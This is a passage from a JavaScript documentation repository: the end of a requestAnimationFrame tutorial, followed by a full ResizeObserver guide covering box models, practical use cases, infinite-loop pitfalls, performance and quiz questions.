**Answer:** 1. **Syncs with display refresh** — rAF fires at the optimal time before the browser paints 2. **Pauses in background tabs** — saves battery and CPU when the tab isn't visible 3. **Browser-optimized timing** — avoids dropped frames and visual jank 4. **More accurate timestamps** — provides high-resolution timestamps for smooth animations `setInterval` doesn't know about the browser's rendering cycle, may drift, and keeps running when the tab is hidden. </Accordion> <Accordion title="Question 2: What is delta time and why is it important?"> **Answer:** Delta time is the time elapsed since the last frame. It's crucial for **frame-rate independent animations**. ```javascript // Without delta time: 144Hz monitor runs animation 2.4x faster than 60Hz position += 5; // 5 pixels per frame // With delta time: same speed on all monitors const speed = 300; // pixels per second position += speed * deltaTime; ``` Without delta time, animations run at different speeds depending on the monitor's refresh rate. </Accordion> <Accordion title="Question 3: How do you stop an animation started with requestAnimationFrame?"> **Answer:** Use `cancelAnimationFrame(id)` with the ID returned from `requestAnimationFrame`: ```javascript let animationId; function animate() { // ... animation code ... animationId = requestAnimationFrame(animate); // Update ID each frame } // Start animationId = requestAnimationFrame(animate); // Stop cancelAnimationFrame(animationId); ``` Important: Update `animationId` inside the animate function, not just when starting. </Accordion> <Accordion title="Question 4: When does the requestAnimationFrame callback actually run?"> **Answer:** It runs during the **rendering phase** of the event loop, specifically: 1. After the current task completes 2. After all microtasks are drained 3. **Before the browser calculates styles, layout, and paints** This timing ensures your DOM changes are applied right before they're rendered to screen. </Accordion> <Accordion title="Question 5: What CSS properties should you animate for best performance?"> **Answer:** Animate `transform` and `opacity` — these are compositor-only properties that don't trigger layout or paint: ```javascript // ✓ Fast (compositor only) element.style.transform = 'translateX(100px)'; element.style.transform = 'scale(1.2)'; element.style.transform = 'rotate(45deg)'; element.style.opacity = 0.5; // ❌ Slow (triggers layout) element.style.left = '100px'; element.style.width = '200px'; element.style.margin = '10px'; ``` Layout-triggering properties force the browser to recalculate positions of other elements every frame. </Accordion> <Accordion title="Question 6: How do you handle the first frame to avoid animation jumping?"> **Answer:** Initialize `lastTime` to `null` and skip the first frame's animation: ```javascript let lastTime = null; function animate(time) { if (lastTime === null) { lastTime = time; requestAnimationFrame(animate); return; // Skip first frame } const delta = (time - lastTime) / 1000; lastTime = time; // Now delta is reasonable (16.67ms at 60fps) position += speed * delta; requestAnimationFrame(animate); } ``` Without this, the first delta would be the time since page load, causing a huge jump. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is requestAnimationFrame in JavaScript?"> `requestAnimationFrame` is a browser API that schedules a callback to run just before the next screen repaint. It synchronizes your animation code with the display's refresh rate (typically 60fps), producing smoother animations than `setInterval` or `setTimeout`. The WHATWG HTML specification defines it as part of the browser's rendering pipeline. </Accordion> <Accordion title="Why is requestAnimationFrame better than setInterval for animations?"> `setInterval` fires at a fixed interval regardless of the browser's readiness to paint, causing dropped frames and jank. `requestAnimationFrame` is called at the optimal time by the browser, automatically pauses when the tab is hidden (saving CPU and battery), and batches DOM reads and writes for better performance. MDN recommends it for all JavaScript-based animations. </Accordion> <Accordion title="What is delta time and why do animations need it?"> Delta time is the elapsed time between the current and previous animation frames. Without it, animations run faster on high-refresh-rate monitors and slower on struggling devices. Multiply your movement values by delta time to ensure consistent animation speed regardless of frame rate — this is standard practice in game development. </Accordion> <Accordion title="How do I cancel a requestAnimationFrame animation?"> `requestAnimationFrame` returns a numeric ID. Pass it to `cancelAnimationFrame(id)` to cancel the pending callback. Always store the ID when starting animations so you can clean up on component unmount or user interaction. </Accordion> <Accordion title="When should I use CSS animations instead of requestAnimationFrame?"> Use CSS animations and transitions for simple visual effects like opacity, transforms, and color changes — they run on the compositor thread and don't block JavaScript. Use `requestAnimationFrame` when animations need JavaScript logic, respond to user input, involve canvas or WebGL, or require physics calculations. Web.dev recommends CSS for anything that doesn't need per-frame logic. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript manages async operations and where rAF fits in the rendering cycle </Card> <Card title="DOM" icon="sitemap" href="/concepts/dom"> Understanding the Document Object Model that animations manipulate </Card> <Card title="Debouncing & Throttling" icon="gauge" href="/beyond/concepts/debouncing-throttling"> Rate-limiting techniques often combined with animations </Card> <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> Offload heavy computation to keep animations smooth </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="requestAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame"> Complete API reference including syntax, parameters, return value, and browser compatibility. </Card> <Card title="cancelAnimationFrame — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/cancelAnimationFrame"> Documentation for canceling scheduled animation frame requests. </Card> <Card title="DOMHighResTimeStamp — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp"> Understanding the high-resolution timestamp passed to rAF callbacks. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Animations — javascript.info" icon="newspaper" href="https://javascript.info/js-animation"> Comprehensive tutorial covering rAF, timing functions, and animation patterns. Includes interactive examples and exercises to practice. </Card> <Card title="Using requestAnimationFrame — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/using-requestanimationframe/"> Chris Coyier's practical guide with code examples showing start/stop patterns and the polyfill for older browsers. </Card> <Card title="requestAnimationFrame for Smart Animating — Paul Irish" icon="newspaper" href="https://www.paulirish.com/2011/requestanimationframe-for-smart-animating/"> The original blog post that popularized rAF. Paul Irish explains why it's better than setInterval with great technical depth. </Card> <Card title="Optimize JavaScript Execution — web.dev" icon="newspaper" href="https://web.dev/articles/optimize-javascript-execution"> Google's guide to keeping JavaScript execution within frame budgets. Essential reading for avoiding animation jank. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="In The Loop — Jake Archibald" icon="video" href="https://www.youtube.com/watch?v=cCOL7MC4Pl0"> Jake Archibald's JSConf.Asia talk diving deep into the event loop, tasks, microtasks, and where requestAnimationFrame fits. A must-watch. </Card> <Card title="requestAnimationFrame — The Coding Train" icon="video" href="https://www.youtube.com/watch?v=c6iN14aXPR0"> Visual and beginner-friendly explanation of animation loops using requestAnimationFrame. Great for those new to animation. </Card> <Card title="JavaScript Game Loop — Franks Laboratory" icon="video" href="https://www.youtube.com/watch?v=mJJmQRjxO5w"> Practical tutorial building a game loop with delta time. Shows real implementation of frame-rate independent animation. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/resize-observer.mdx ================================================ --- title: "ResizeObserver in JavaScript" sidebarTitle: "ResizeObserver" description: "Learn the ResizeObserver API in JavaScript. Detect element size changes, build responsive components, and replace inefficient window resize listeners." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Observer APIs" "article:tag": "resizeobserver, element size changes, responsive components, window resize, container queries" --- How do you know when an element's size changes? Maybe a sidebar collapses, a container stretches to fit new content, or a user resizes a text area. How can JavaScript respond to these changes without constantly polling the DOM? ```javascript // Detect when an element's size changes const observer = new ResizeObserver((entries) => { for (const entry of entries) { console.log('Element resized:', entry.target); console.log('New width:', entry.contentRect.width); console.log('New height:', entry.contentRect.height); } }); observer.observe(document.querySelector('.resizable-box')); ``` The **[ResizeObserver API](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver)** lets you watch elements for size changes and react accordingly. Unlike the `window.resize` event that only fires when the viewport changes, ResizeObserver detects size changes on individual elements, no matter what caused them. <Info> **What you'll learn in this guide:** - What ResizeObserver is and why it replaces window resize listeners - How to create and use a ResizeObserver - Understanding contentRect vs borderBoxSize vs contentBoxSize - Building responsive components with element queries - Common use cases: responsive typography, canvas resizing, layout adjustments - Performance considerations and best practices - How to avoid infinite loops and observation errors </Info> <Warning> **Prerequisite:** This guide assumes familiarity with the [DOM](/concepts/dom). If you're new to DOM manipulation, read that guide first! </Warning> --- ## What is ResizeObserver? The **ResizeObserver** interface reports changes to the dimensions of an element's content box or border box. According to [web.dev](https://web.dev/articles/resize-observer), it provides an efficient way to monitor element size without resorting to continuous polling or listening to every possible event that might cause a resize. Before ResizeObserver, detecting element size changes was painful: ```javascript // The old way: Listen to window resize and hope for the best window.addEventListener('resize', () => { const width = element.offsetWidth; // But this ONLY fires when the viewport resizes! // It misses: content changes, CSS animations, sibling resizes... }); // Even worse: Polling with setInterval setInterval(() => { const currentWidth = element.offsetWidth; if (currentWidth !== lastWidth) { handleResize(); lastWidth = currentWidth; } }, 100); // Wasteful! Runs even when nothing changes ``` ResizeObserver solves all of this. It fires exactly when an observed element's size changes, regardless of the cause. --- ## The Tailor Shop Analogy Think of ResizeObserver like a tailor who constantly monitors your measurements, ready to adjust your clothes the moment your size changes. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE TAILOR SHOP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ THE OLD WAY: Check Everyone When the Door Opens │ │ ───────────────────────────────────────────────── │ │ │ │ Door opens → Measure EVERYONE → Most unchanged! │ │ (window resize) (check all elements) (wasted effort) │ │ │ │ ──────────────────────────────────────────────────────────────── │ │ │ │ THE RESIZEOBSERVER WAY: Personal Tailors for Each Customer │ │ ───────────────────────────────────────────────────────────── │ │ │ │ Customer Personal Tailor Instant Adjustment │ │ (element) (observer callback) (only when needed) │ │ │ │ "I gained weight" → "I noticed!" → "Let me adjust your suit" │ │ (size changes) (callback fires) (your resize handler) │ │ │ │ Other customers? → Still relaxing → No wasted work! │ │ (unchanged elements) (no callback) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ResizeObserver assigns a "personal tailor" to each element you want to watch. The tailor only springs into action when that specific element's measurements change. --- ## How to Create a ResizeObserver Creating a ResizeObserver follows the same pattern as other observer APIs like [IntersectionObserver](/beyond/concepts/intersection-observer) and [MutationObserver](/beyond/concepts/mutation-observer). ### Basic Syntax ```javascript // Step 1: Create the observer with a callback function const resizeObserver = new ResizeObserver((entries, observer) => { // This callback fires whenever observed elements resize for (const entry of entries) { console.log('Element:', entry.target); console.log('Size:', entry.contentRect.width, 'x', entry.contentRect.height); } }); // Step 2: Start observing elements const box = document.querySelector('.box'); resizeObserver.observe(box); // Step 3: Stop observing when done resizeObserver.unobserve(box); // Stop watching one element resizeObserver.disconnect(); // Stop watching all elements ``` ### The Callback Parameters The callback receives two arguments: | Parameter | Description | |-----------|-------------| | `entries` | An array of [ResizeObserverEntry](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverEntry) objects, one per observed element that changed | | `observer` | A reference to the ResizeObserver itself (useful for disconnecting from within the callback) | ### The ResizeObserverEntry Object Each entry provides information about the resized element: ```javascript const observer = new ResizeObserver((entries) => { for (const entry of entries) { // The element that was resized console.log(entry.target); // Legacy way: contentRect (DOMRectReadOnly) console.log(entry.contentRect.width); // Content width console.log(entry.contentRect.height); // Content height console.log(entry.contentRect.top); // Padding-top value console.log(entry.contentRect.left); // Padding-left value // Modern way: More detailed size information console.log(entry.contentBoxSize); // Content box dimensions console.log(entry.borderBoxSize); // Border box dimensions console.log(entry.devicePixelContentBoxSize); // Device pixel dimensions } }); ``` --- ## Understanding Box Models in ResizeObserver ResizeObserver can report sizes using different CSS box models. Understanding the difference is crucial for accurate measurements. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CSS BOX MODEL │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ MARGIN │ │ │ │ ┌─────────────────────────────────────────────┐ │ │ │ │ │ BORDER │ │ │ │ │ │ ┌───────────────────────────────────┐ │ │ │ │ │ │ │ PADDING │ │ │ │ │ │ │ │ ┌─────────────────────────┐ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ CONTENT BOX │ │ │ │ │ │ │ │ │ │ (contentRect) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─────────────────────────┘ │ │ │ │ │ │ │ │ ↑ contentBoxSize │ │ │ │ │ │ │ └───────────────────────────────────┘ │ │ │ │ │ │ ↑ borderBoxSize │ │ │ │ │ └─────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ │ contentRect = Content width/height only │ │ contentBoxSize = Content width/height (modern, includes writing │ │ mode support) │ │ borderBoxSize = Content + padding + border │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Choosing Which Box to Observe The `observe()` method accepts an options object: ```javascript // Observe the content box (default) observer.observe(element); observer.observe(element, { box: 'content-box' }); // Observe the border box (includes padding and border) observer.observe(element, { box: 'border-box' }); // Observe device pixels (useful for canvas) observer.observe(element, { box: 'device-pixel-content-box' }); ``` ### Modern Size Properties The newer `contentBoxSize` and `borderBoxSize` properties return arrays of [ResizeObserverSize](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverSize) objects with `inlineSize` and `blockSize`: ```javascript const observer = new ResizeObserver((entries) => { for (const entry of entries) { // Modern approach (handles writing modes correctly) if (entry.contentBoxSize) { // It's an array (for multi-fragment elements in the future) const contentBoxSize = entry.contentBoxSize[0]; console.log('Inline size:', contentBoxSize.inlineSize); // Width in horizontal writing mode console.log('Block size:', contentBoxSize.blockSize); // Height in horizontal writing mode } // Legacy approach (simpler but less accurate with writing modes) console.log('Width:', entry.contentRect.width); console.log('Height:', entry.contentRect.height); } }); ``` <Tip> **When to use which:** Use `contentRect` for simple cases where you just need width and height. Use `contentBoxSize` or `borderBoxSize` when you need to handle different writing modes (like vertical text) or when you need border-box measurements. </Tip> --- ## Practical Use Cases ### 1. Responsive Typography Adjust font size based on container width without media queries: ```javascript function createResponsiveText(element) { const observer = new ResizeObserver((entries) => { for (const entry of entries) { const width = entry.contentRect.width; // Scale font size based on container width const fontSize = Math.max(16, Math.min(48, width / 20)); entry.target.style.fontSize = `${fontSize}px`; } }); observer.observe(element); return observer; } // Usage const headline = document.querySelector('.headline'); const observer = createResponsiveText(headline); ``` ### 2. Canvas Resizing Keep a canvas sharp at any size by matching its internal resolution: ```javascript function setupResponsiveCanvas(canvas) { const ctx = canvas.getContext('2d'); const observer = new ResizeObserver((entries) => { for (const entry of entries) { // Get the device pixel ratio for sharp rendering const dpr = window.devicePixelRatio || 1; // Get the CSS size const width = entry.contentRect.width; const height = entry.contentRect.height; // Set the canvas internal size to match device pixels canvas.width = width * dpr; canvas.height = height * dpr; // Scale the context to use CSS pixels ctx.scale(dpr, dpr); // Redraw your canvas content redrawCanvas(ctx, width, height); } }); observer.observe(canvas); return observer; } function redrawCanvas(ctx, width, height) { ctx.fillStyle = '#3498db'; ctx.fillRect(0, 0, width, height); ctx.fillStyle = 'white'; ctx.font = '24px Arial'; ctx.fillText(`${width} x ${height}`, 20, 40); } ``` ### 3. Element Queries (Container Queries Alternative) Before CSS Container Queries had wide support, ResizeObserver was the go-to solution: ```javascript function applyElementQuery(element, breakpoints) { const observer = new ResizeObserver((entries) => { for (const entry of entries) { const width = entry.contentRect.width; // Remove all breakpoint classes Object.keys(breakpoints).forEach(bp => { entry.target.classList.remove(breakpoints[bp]); }); // Add the appropriate class based on width if (width < 300) { entry.target.classList.add(breakpoints.small); } else if (width < 600) { entry.target.classList.add(breakpoints.medium); } else { entry.target.classList.add(breakpoints.large); } } }); observer.observe(element); return observer; } // Usage const card = document.querySelector('.card'); applyElementQuery(card, { small: 'card--compact', medium: 'card--standard', large: 'card--expanded' }); ``` ### 4. Auto-Scrolling Chat Window Keep a chat window scrolled to the bottom when new messages arrive: ```javascript function setupAutoScroll(container) { let shouldAutoScroll = true; // Track if user has scrolled up container.addEventListener('scroll', () => { const { scrollTop, scrollHeight, clientHeight } = container; shouldAutoScroll = scrollTop + clientHeight >= scrollHeight - 10; }); // When content changes size, scroll to bottom if appropriate const observer = new ResizeObserver(() => { if (shouldAutoScroll) { container.scrollTop = container.scrollHeight; } }); observer.observe(container); return observer; } // Usage const chatMessages = document.querySelector('.chat-messages'); setupAutoScroll(chatMessages); ``` ### 5. Dynamic Aspect Ratio Maintain aspect ratio for responsive video or image containers: ```javascript function maintainAspectRatio(element, ratio = 16 / 9) { const observer = new ResizeObserver((entries) => { for (const entry of entries) { const width = entry.contentRect.width; const height = width / ratio; entry.target.style.height = `${height}px`; } }); observer.observe(element); return observer; } // Usage: 16:9 video container const videoWrapper = document.querySelector('.video-wrapper'); maintainAspectRatio(videoWrapper, 16 / 9); ``` --- ## The #1 ResizeObserver Mistake: Infinite Loops The most dangerous mistake with ResizeObserver is creating an infinite loop by changing the observed element's size inside the callback. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE INFINITE LOOP TRAP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WRONG: │ │ │ │ ┌─────────┐ fires ┌──────────────┐ changes ┌─────────┐ │ │ │ Element │ ──────────► │ Callback │ ─────────────► │ Element │ │ │ │ resizes │ │ runs │ │ size! │ │ │ └─────────┘ └──────────────┘ └────┬────┘ │ │ ▲ │ │ │ │ │ │ │ └───────────────────────────────────────────────────────┘ │ │ INFINITE LOOP! │ │ │ │ CORRECT: │ │ │ │ • Track expected sizes and skip if already at target │ │ • Use requestAnimationFrame to defer changes │ │ • Change OTHER elements, not the observed one │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### The Problem ```javascript // ❌ WRONG - Creates an infinite loop! const observer = new ResizeObserver((entries) => { for (const entry of entries) { // This changes the element's size, which triggers another callback! entry.target.style.width = (entry.contentRect.width + 10) + 'px'; } }); observer.observe(element); // Browser will eventually throw an error ``` The browser protects against complete lockup by only processing elements deeper in the DOM tree on each iteration. Elements that don't meet this condition are deferred to the next frame, and an error is fired: ``` ResizeObserver loop completed with undelivered notifications. ``` ### The Solutions **Solution 1: Track expected size and skip** ```javascript // ✓ CORRECT - Track expected size const expectedSizes = new WeakMap(); const observer = new ResizeObserver((entries) => { for (const entry of entries) { const expectedSize = expectedSizes.get(entry.target); const currentWidth = entry.contentRect.width; // Skip if we're already at the expected size if (currentWidth === expectedSize) { continue; } const newWidth = calculateNewWidth(currentWidth); entry.target.style.width = `${newWidth}px`; expectedSizes.set(entry.target, newWidth); } }); ``` **Solution 2: Use requestAnimationFrame** ```javascript // ✓ CORRECT - Defer to next frame const observer = new ResizeObserver((entries) => { requestAnimationFrame(() => { for (const entry of entries) { // Changes happen after the current ResizeObserver cycle entry.target.style.width = (entry.contentRect.width + 10) + 'px'; } }); }); ``` **Solution 3: Modify other elements** ```javascript // ✓ CORRECT - Change a different element const observer = new ResizeObserver((entries) => { for (const entry of entries) { // Change a sibling or child, not the observed element itself const label = entry.target.querySelector('.size-label'); label.textContent = `${entry.contentRect.width} x ${entry.contentRect.height}`; } }); ``` <Warning> **The Trap:** ResizeObserver callbacks that resize their observed elements will cause the error "ResizeObserver loop completed with undelivered notifications." While the browser prevents a complete freeze, you'll see errors in the console and potentially janky rendering. </Warning> --- ## Performance Considerations ResizeObserver is efficient, but there are still best practices to follow. ### Do's and Don'ts ```javascript // ✓ DO: Reuse observers when possible const sharedObserver = new ResizeObserver(handleResize); elements.forEach(el => sharedObserver.observe(el)); // ❌ DON'T: Create a new observer for each element elements.forEach(el => { const observer = new ResizeObserver(handleResize); observer.observe(el); // Wasteful! }); ``` ```javascript // ✓ DO: Disconnect when elements are removed function cleanup() { observer.unobserve(element); element.remove(); } // ❌ DON'T: Leave orphaned observers element.remove(); // Observer still running with no target! ``` ```javascript // ✓ DO: Debounce expensive operations let timeout; const observer = new ResizeObserver((entries) => { clearTimeout(timeout); timeout = setTimeout(() => { // Expensive operation here recalculateLayout(entries); }, 100); }); // ❌ DON'T: Run expensive operations on every callback const observer = new ResizeObserver((entries) => { // This runs on EVERY resize, even during drag! expensiveLayoutCalculation(); }); ``` ### Memory Management Always clean up observers when you're done: ```javascript class ResizableComponent { constructor(element) { this.element = element; this.observer = new ResizeObserver(this.handleResize.bind(this)); this.observer.observe(element); } handleResize(entries) { // Handle resize } destroy() { // Clean up to prevent memory leaks this.observer.disconnect(); this.observer = null; } } ``` --- ## Browser Support and Polyfills ResizeObserver has excellent browser support, available in all modern browsers since July 2020. [Can I Use data](https://caniuse.com/resizeobserver) shows over 96% global browser coverage. | Browser | Support Since | |---------|---------------| | Chrome | 64 (January 2018) | | Firefox | 69 (September 2019) | | Safari | 13.1 (March 2020) | | Edge | 79 (January 2020) | For older browsers, you can use a polyfill: ```javascript // Check if ResizeObserver is available if ('ResizeObserver' in window) { // Native support const observer = new ResizeObserver(callback); } else { // Load polyfill or use fallback console.warn('ResizeObserver not supported'); } ``` --- ## ResizeObserver vs Other Approaches | Approach | When It Fires | Efficiency | Use Case | |----------|---------------|------------|----------| | `window.resize` event | Viewport resize only | Good | Global layout changes | | `ResizeObserver` | Any element size change | Excellent | Per-element responsive behavior | | `MutationObserver` | DOM mutations | Good | Watching for added/removed elements | | Polling with `setInterval` | On interval | Poor | Avoid if possible | | CSS Container Queries | Element size change | Excellent | Pure CSS responsive components | <Tip> **Modern recommendation:** Use CSS Container Queries for purely visual adaptations, and ResizeObserver when you need JavaScript logic to respond to size changes (canvas rendering, complex calculations, non-CSS updates). </Tip> --- ## Common Mistakes <AccordionGroup> <Accordion title="Mistake 1: Forgetting to disconnect observers"> ```javascript // ❌ WRONG - Memory leak! function attachObserver(element) { const observer = new ResizeObserver(callback); observer.observe(element); // Observer lives forever, even if element is removed } // ✓ CORRECT - Return observer for cleanup function attachObserver(element) { const observer = new ResizeObserver(callback); observer.observe(element); return observer; // Caller can disconnect when done } const observer = attachObserver(myElement); // Later... observer.disconnect(); ``` </Accordion> <Accordion title="Mistake 2: Accessing contentBoxSize incorrectly"> ```javascript // ❌ WRONG - contentBoxSize is an array! const observer = new ResizeObserver((entries) => { const width = entries[0].contentBoxSize.inlineSize; // Error! }); // ✓ CORRECT - Access the first element of the array const observer = new ResizeObserver((entries) => { const width = entries[0].contentBoxSize[0].inlineSize; }); ``` </Accordion> <Accordion title="Mistake 3: Not handling initial callback"> ```javascript // Note: ResizeObserver fires immediately when you start observing! const observer = new ResizeObserver((entries) => { console.log('Resize detected'); // Fires right away! }); observer.observe(element); // Triggers callback immediately // If you want to skip the initial call: let isFirstCall = true; const observer = new ResizeObserver((entries) => { if (isFirstCall) { isFirstCall = false; return; // Skip initial measurement } handleResize(entries); }); ``` </Accordion> <Accordion title="Mistake 4: Creating observers inside loops without cleanup"> ```javascript // ❌ WRONG - Creates new observer on each scroll! window.addEventListener('scroll', () => { const observer = new ResizeObserver(callback); // Memory leak! observer.observe(element); }); // ✓ CORRECT - Create once, reuse const observer = new ResizeObserver(callback); observer.observe(element); // Set up once ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember:** 1. **ResizeObserver watches individual elements** for size changes, unlike `window.resize` which only detects viewport changes 2. **The callback receives entries** with `target`, `contentRect`, `contentBoxSize`, and `borderBoxSize` properties 3. **Use the `box` option** to observe content-box, border-box, or device-pixel-content-box 4. **Avoid infinite loops** by not changing the observed element's size directly in the callback 5. **Clean up with `disconnect()` or `unobserve()`** to prevent memory leaks 6. **ResizeObserver fires immediately** when you start observing, not just on subsequent changes 7. **Reuse observers** across multiple elements instead of creating one per element 8. **Debounce expensive operations** because callbacks fire frequently during drag/resize interactions 9. **contentBoxSize is an array** even though it usually contains just one element 10. **Consider CSS Container Queries** for purely visual adaptations that don't need JavaScript </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between contentRect and contentBoxSize?"> **Answer:** `contentRect` is a `DOMRectReadOnly` object with `width`, `height`, `top`, `left`, `right`, `bottom`, `x`, and `y` properties. It represents the content box in terms of the document's coordinate system. `contentBoxSize` is an array of `ResizeObserverSize` objects with `inlineSize` and `blockSize` properties. These handle writing modes correctly (inline is width in horizontal mode, but height in vertical mode). ```javascript // contentRect approach (simpler) const width = entry.contentRect.width; // contentBoxSize approach (handles writing modes) const inlineSize = entry.contentBoxSize[0].inlineSize; ``` </Accordion> <Accordion title="Question 2: When does ResizeObserver fire its callback?"> **Answer:** ResizeObserver fires: 1. **Immediately when you call `observe()`** on an element (initial measurement) 2. **Whenever the observed element's size changes** for any reason (CSS changes, content changes, window resize, sibling changes, etc.) It processes resize events **before paint** but **after layout**, making it the ideal place to make layout adjustments. </Accordion> <Accordion title="Question 3: How do you avoid the 'ResizeObserver loop' error?"> **Answer:** The error occurs when your callback changes the observed element's size, triggering another callback. Solutions: ```javascript // Solution 1: Track expected sizes const expectedSize = new WeakMap(); const observer = new ResizeObserver((entries) => { for (const entry of entries) { if (entry.contentRect.width === expectedSize.get(entry.target)) return; // ... make changes expectedSize.set(entry.target, newWidth); } }); // Solution 2: Use requestAnimationFrame const observer = new ResizeObserver((entries) => { requestAnimationFrame(() => { // Changes deferred to next frame }); }); // Solution 3: Change other elements, not the observed one ``` </Accordion> <Accordion title="Question 4: How do you observe the border-box instead of content-box?"> **Answer:** Pass an options object to `observe()`: ```javascript // Observe border-box (content + padding + border) observer.observe(element, { box: 'border-box' }); // Access border box size in callback const borderWidth = entry.borderBoxSize[0].inlineSize; ``` </Accordion> <Accordion title="Question 5: What's the best way to clean up a ResizeObserver?"> **Answer:** ```javascript // Stop observing a specific element observer.unobserve(element); // Stop observing ALL elements and disable the observer observer.disconnect(); ``` Always disconnect observers when: - The observed element is removed from the DOM - Your component/module is destroyed - You no longer need to watch for size changes Failure to clean up causes memory leaks. </Accordion> <Accordion title="Question 6: Why is contentBoxSize an array?"> **Answer:** `contentBoxSize` and `borderBoxSize` are arrays to support future features where elements might have multiple fragments (like in multi-column layouts where an element might be split across columns). For now, these arrays always contain exactly one element, so you access it with `[0]`: ```javascript const width = entry.contentBoxSize[0].inlineSize; const height = entry.contentBoxSize[0].blockSize; ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is ResizeObserver in JavaScript?"> ResizeObserver is a browser API that detects when an element's dimensions change, regardless of the cause — content changes, CSS transitions, window resizing, or sibling layout shifts. Unlike the `window.resize` event which only fires on viewport changes, ResizeObserver monitors individual elements. Web.dev describes it as "document.onresize for elements." </Accordion> <Accordion title="What is the difference between ResizeObserver and window resize events?"> The `window.resize` event only fires when the browser viewport changes size. ResizeObserver fires when any observed element changes size, regardless of the cause. This makes it essential for responsive components that need to adapt when their container changes — a scenario that CSS Container Queries also address. </Accordion> <Accordion title="How do I avoid the ResizeObserver loop error?"> The error "ResizeObserver loop completed with undelivered notifications" occurs when your callback changes the observed element's size, triggering another callback. Avoid this by tracking expected sizes and skipping redundant updates, using `requestAnimationFrame` to defer changes, or modifying other elements instead of the observed one. </Accordion> <Accordion title="What is the difference between contentRect and contentBoxSize?"> `contentRect` is a legacy `DOMRectReadOnly` with `width` and `height` properties. `contentBoxSize` is the modern alternative — an array of `ResizeObserverSize` objects using `inlineSize` and `blockSize`, which correctly handle vertical writing modes. MDN recommends `contentBoxSize` for new code. </Accordion> <Accordion title="Does ResizeObserver fire immediately when you call observe()?"> Yes — like IntersectionObserver, ResizeObserver fires its callback immediately when you start observing an element to report its current dimensions. If you want to skip this initial call, add a guard flag that skips the first invocation. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Intersection Observer" icon="eye" href="/beyond/concepts/intersection-observer"> Detect when elements enter or leave the viewport </Card> <Card title="Mutation Observer" icon="code-branch" href="/beyond/concepts/mutation-observer"> Watch for changes to the DOM tree structure </Card> <Card title="DOM" icon="sitemap" href="/concepts/dom"> Understanding the Document Object Model </Card> <Card title="Performance Observer" icon="gauge-high" href="/beyond/concepts/performance-observer"> Monitor performance metrics in your application </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="ResizeObserver - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver"> Official MDN documentation for the ResizeObserver API including constructor, methods, and browser compatibility. </Card> <Card title="ResizeObserverEntry - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverEntry"> Documentation for the entry objects passed to the ResizeObserver callback with all available properties. </Card> <Card title="Resize Observer API - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Resize_Observer_API"> Overview guide for the Resize Observer API with concepts and usage patterns. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="ResizeObserver: It's Like document.onresize for Elements - web.dev" icon="newspaper" href="https://web.dev/articles/resize-observer"> Google's official guide covering the API design, gotchas with infinite loops, and practical applications. Includes details on Interaction to Next Paint considerations. </Card> <Card title="ResizeObserver API Tutorial with Examples - LogRocket" icon="newspaper" href="https://blog.logrocket.com/how-to-use-the-resizeobserver-api-a-tutorial-with-examples/"> Comprehensive tutorial with real-world examples including responsive components, canvas resizing, and performance optimization patterns. </Card> <Card title="A Practical Guide to ResizeObserver - Medium" icon="newspaper" href="https://mehul-kothari.medium.com/resizeobserver-a-comprehensive-guide-4afa012ccaad"> Step-by-step walkthrough of ResizeObserver fundamentals with clear code examples for common use cases. </Card> <Card title="JavaScript ResizeObserver Interface - GeeksforGeeks" icon="newspaper" href="https://www.geeksforgeeks.org/javascript/javascript-resizeobserver-interface/"> Beginner-friendly introduction to ResizeObserver with simple examples and explanations of the callback parameters. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="ResizeObserver - It's Like document.onresize for Elements - Google Chrome Developers" icon="video" href="https://www.youtube.com/watch?v=z8iFyJxFYKA"> Official Chrome team explanation of ResizeObserver with live demos showing how to build responsive components without viewport-based media queries. </Card> <Card title="The Resize Observer API in JavaScript - Steve Griffith" icon="video" href="https://www.youtube.com/watch?v=9lkZ77m9-HY"> Clear, methodical walkthrough of ResizeObserver covering the API surface, practical examples, and common pitfalls to avoid. </Card> <Card title="JavaScript Resize Observer Explained - dcode" icon="video" href="https://www.youtube.com/watch?v=M2c37drnnOA"> Quick tutorial covering 